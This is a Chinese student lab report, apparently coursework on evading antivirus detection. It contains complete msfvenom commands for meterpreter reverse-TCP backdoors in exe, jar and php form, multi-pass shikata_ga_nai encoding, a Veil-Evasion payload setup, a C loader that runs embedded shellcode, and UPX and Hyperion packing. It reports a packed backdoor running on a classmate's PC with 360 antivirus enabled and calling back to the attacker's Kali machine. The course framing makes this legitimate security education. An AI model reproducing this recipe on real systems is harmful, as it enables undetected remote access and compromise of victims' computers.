2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

2018-2019 2 20165203 《网络对抗技术》 Exp3 免杀原理与实践

免杀原理与实践说明及基础问答部分

实验任务

  • 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

  • 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

免杀原理基础知识问答

一、免杀原理

免杀

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、基础知识问答

  1. 杀软是如何检测出恶意代码的?
  • 基于特征码的检测:简单来说,一段特征码就是一段或多段数据,恶意代码经常出现的而其他正常程序所没有的。如果杀软检测到一个文件对比其他文件有特征码,则可以认定该文件包含恶意代码。
  • 启发式恶意软件检测:简单来说,就是根据一些片面特征去判断。通常是,如果一个软件做了通常是恶意软件干的事儿,那就说明这个软件是恶意软件。
  • 基于行为的恶意软件检测:简单来说,它是针对特征扫描而言的。杀软会监视软件的行为,发现特殊行为,就认为它是恶意软件。
  1. 免杀是做什么?
  • 就是对恶意软件或代码做一些处理,使之不被杀毒软件所查杀。
  1. 免杀的基本方法有哪些?

一般来说,免杀的方法是针对技术的。

  • 改变特征码
    • 有EXE:加壳(压缩壳、加密壳)
    • 有shellcode:用encode进行编码或基于payload重新编译生成可执行文件
    • 有源代码:用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  1. 开启杀软能绝对防止电脑中恶意代码吗?
  • 当然不能了,就恶意软件来说,一般AV的检出率也要达到40%-98%,最好的AV仍然会有2%的病毒逃脱检测,不过,大部分还是可以检测出来。

实验准备及环境

  • Kali虚拟机(IP:192.168.154.155)
  • Windows7 (IP:192.168.154.139)
  • 电脑管家
  • 免杀扫描引擎
    VirusTotal
    Virscan(我用的这个)
  • 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后在杀毒库更新前,你还可以使用一段时间。Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。

实验内容及步骤

任务一 使用msfvenom生成各种文件,veil-evasion,加壳工具,使用shellcode编程

1.使用msf编码器生成后门程序及检测

  • 《Exp2:后门原理与实践》中,我们生成了20165203_backdoor.exe后门文件,将它放在virscan.org中进行扫描
  • 但是出现了如图这样的界面:

无奈,又将名字改为了xyx_backdoor.exe.
结果如图所示

可以看出,不加任何免杀操作的病毒很容易被检测出来。那么我们编码一下呢?

  • 通过使用编码一次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203_encoded.exe

  • 被电脑管家查住了。

  • 然后,我们继续用virscan.org扫描一下,看一下结果如何呢?

可以看出,经过编码后的后门程序检出率降低了。那么我们多次编码结果会是什么样呢?

  • 使用编码十次的命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5203 -f exe > 5203encoded10.exe

  • 不幸的是,又被查住了。

  • 继续扫描结果如下

可以看出,经过10次编码,后门程序的检出率更低了。

2. msfvenom生成jar等文件

  • 我们可以利用msfvenom生成java后门程序,输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 x> 20165203_backdoor_java.jar

  • 我们可以对20165203_backdoor_java.jar进行扫描,又出现了名字不合法的问题,将名字改为了xyx_backdoor.jar.

  • 扫描结果如下:

  • 可以看出,还是检出率还是很高。

3. msfvenom生成php等文件

  • 我们同样可以一用msfvenom生成php后门程序,输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5226 x> 20165226_backdoor.php

  • 我们同样可以对20165203_backdoor.php进行扫描。

等等,难道是.php文件开挂了?这是什么神奇操作???,不过终究还是扫描出来了。。

4. 使用veil-evasion生成后门程序及检测

  • 我们可以安装veil,利用sudo apt-install veil-evasion,然后继续按y继续执行就可以,但是过程需要耐心等待。不幸的是,在我等到夜里2点快要安装好的时候,提示我要安装python.exe什么鬼,这个程序没有安装成功,导致后来的安装过程不太顺利,最后的veil也不太可用。只用无奈拷了同学的kali

  • 安装成功后,我们可以输入veil启用veil。

  • 接着输入use veil命令进入Evil-Evasion

  • 接着输入命令use c/meterpreter/rev_tcp.py进入配置界面。

  • 接下来,设置反弹要连接的Kali IP,输入命令set LHOST 192.168.154.151

  • 接下来,就要设置端口,我用的我的学号,输入命令set LPORT 5203

  • 接着,我们需要输入generate生成文件,并给我们的payload取个名字,输入veil_c_5203

  • 我们可以看到我们生成的后门程序的保存路径为/var/lib/veil/output/compiled/veil_c_5203.exe
  • 传一下试试,不幸的是,仍然被查了出来,扫描一下呗。

5. 使用shellcode编程半手工生成可执行文件并且进行免杀检测

下面,我们尝试用半手工来注入shellcode来执行一下吧。

  • 首先,使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5203 -f c来用C语言生成一段shellcode吧,生成的sellcode原来长这模样儿。

  • 接下来我们就要手工编写了。

  • 创建一个文件20165203.c,将我们生成的shellcode(存在字符串数组unsigned char buf[]中)。

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
···
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 我们需要使用命令,i686-w64-mingw32-g++ 20165203_shellcode.c -o 20165203_shellcode.exe来编译.c文件。

  • 查杀一下呗

不幸的是还是被查杀出来了。

  • 用virscan.org检测一下。

那么我们是否能够通过一些免杀的行为来使我们的程序免杀呢?接下来,就试一下加壳

6. 使用加壳工具生成可执行文件并且进行免杀检测

最后,我们试试加壳吧,在使用加壳之前,我们首先要了解几个问题。

  • 什么是加壳呢?
    • 加壳的全称为可执行程序资源压缩,压缩后的程序可以直接运行。
    • 加壳的另一种常用的方式是在二进制程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
    • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也常用来保护软件版权,防止软件被破解。但对于病毒来说,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特征。
    • MSF的编码器经常使用类似方法,对shellcode进行再编码。
  • 从技术上分壳分为:
    • 压缩壳:减少应用体积,如ASPack,UPX
    • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机:通过类似编译手段,将应用指令转换为自己设计党的指令集。如VMProtect,Themida

明白了这些,我们来试试吧

  • 我们先来使用压缩壳(UPX)

    • 把上个实验Task生成的20165203_backdoor.exe加壳得到xyx_upxed.exe,利用命令upx 20165203_backdoor.exe -o xyx_upxed

    • 扫描一下呗

    • 我们可以看出,扫出率降低了。
  • 使用加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v xyx_upxed.exe xyx_upxed_Hyperion.exe进行加密壳:

    • 检测一下。

what?怎么还是这么多

    • 而且,电脑管家也发现了,只能将它放在信任区了。

    • 回连一下,竟然成功了。

任务二 通过组合应用各种技术实现恶意代码免杀

  • 我通过半手工制作了shellcode,压缩壳,又加密壳,攻击自己的windows7虚拟机,达到了免杀的目的。
  • 回连成功的截图,后面还有全盘查杀的截图,确认已免杀。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

哈哈,终于到了实战的时候了。

  • 我用msf生成了shellcode,然后压缩壳,加密壳,把它传入靶机。
  • 攻击者:本人Kali(IP:192.168.154.151)
  • 靶机:同学的主机Windows7系统(IP)360杀毒软件
  • 任务截图
    • 植入程序成功。

    • 通过扫描。

    • 回连成功

离实战还缺些什么技术或步骤?

我们现在只是利用一些方法生成后门程序,并使后门程序免于杀毒软件的检测,也就是免杀,但是如何将我们生成的后门程序注入到靶机里,又如何诱导靶机的用户来运行后门程序,这都是我们今后要思考解决的问题。

另外,随着病毒库的不断更新,我们还需要探索出新的方法来免杀,这也充分说明IT人士是要不断学习和进步的。

实验中遇到的问题及解决方法

问题:一开始输入编码10次的命令时,出现了如图所示情况,编码失败。

解决:其实,很迷,检查了一下我的命令也没有输错,后来发现,我利用之前编码一次的程序实现了一下回连(当然windows7的电脑管家关着),是不是正在回连的缘故,我关闭了msf,重新编码,就成功了。

实验感想

这次实现真的好有意思,自己利用msfvenom生成后门程序,然后想办法让后门程序不被查杀,有点儿黑客的感觉了,哈哈。

通过这次的免杀实验,我了解了免杀的概念、基本方法等,还能利用virtotal、virscan等工具来进行扫描,随着实验的增多,我们不能仅仅局限于可以跟着实验的步骤走,要明白每次实验步骤的含义和目的,才能为今后独立实战打下基础。

posted @ 2019-03-31 16:29  I~Justice  阅读(210)  评论(1编辑  收藏  举报